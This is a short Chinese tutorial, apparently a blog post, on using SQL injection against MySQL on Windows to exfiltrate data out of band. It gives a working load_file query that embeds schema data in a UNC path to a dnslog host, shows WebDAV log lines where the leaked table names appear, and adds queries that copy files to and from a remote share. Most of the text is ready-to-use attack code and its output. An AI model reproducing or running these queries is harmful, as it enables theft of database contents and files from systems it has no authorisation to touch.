关于sql注入远程读取文件

准备工作:先来设置windows2003开启匿名共享

http://wenku.baidu.com/view/684d26a4f524ccbff1218452.html

我们知道win中访问远程目录的写法是\\123.123.123.123\a 

那么我们可以使用mysql的load_file函数去读远程文件,而如果这个远程ip是我们预先设定并监控的,抓一下80的log会看到什么呢?让我们试一下。 


执行这个语句 

select load_file(concat('\\\\bb131f.dnslog.info\\',(select concat(table_schema,table_name,column_name) from information_schema.columns limit 0,1)));


日志里看到的什么呢? 

[03/Mar/2015:18:33:49 +0800] 124.205.254.6 - - bb131f.dnslog.info OPTIONS / HTTP/1.1 200 "Microsoft-WebDAV-MiniRedir/5.1.2600" 
[03/Mar/2015:18:33:50 +0800] 124.205.254.6 - - bb131f.dnslog.info PROPFIND /information_schemaCHARACTER_SETSCHARACTER_SET_NAM HTTP/1.1 405 "Microsoft-WebDAV-MiniRedir/5.1.2600"


哦呵呵呵 把注入语句的结果回显回来了,由于windows的特性访问ipc会webdav访问一下80端口。 

导入外部的文件到本地

select load_file("\\\\1.1.1.1\\1.txt") into outfile 'c:\\1.txt'

写入到远程共享

select load_file('c:\\1.txt') into outfile  "\\\\1.1.1.1\\2.txt"


你可能感兴趣的:(关于sql注入远程读取文件)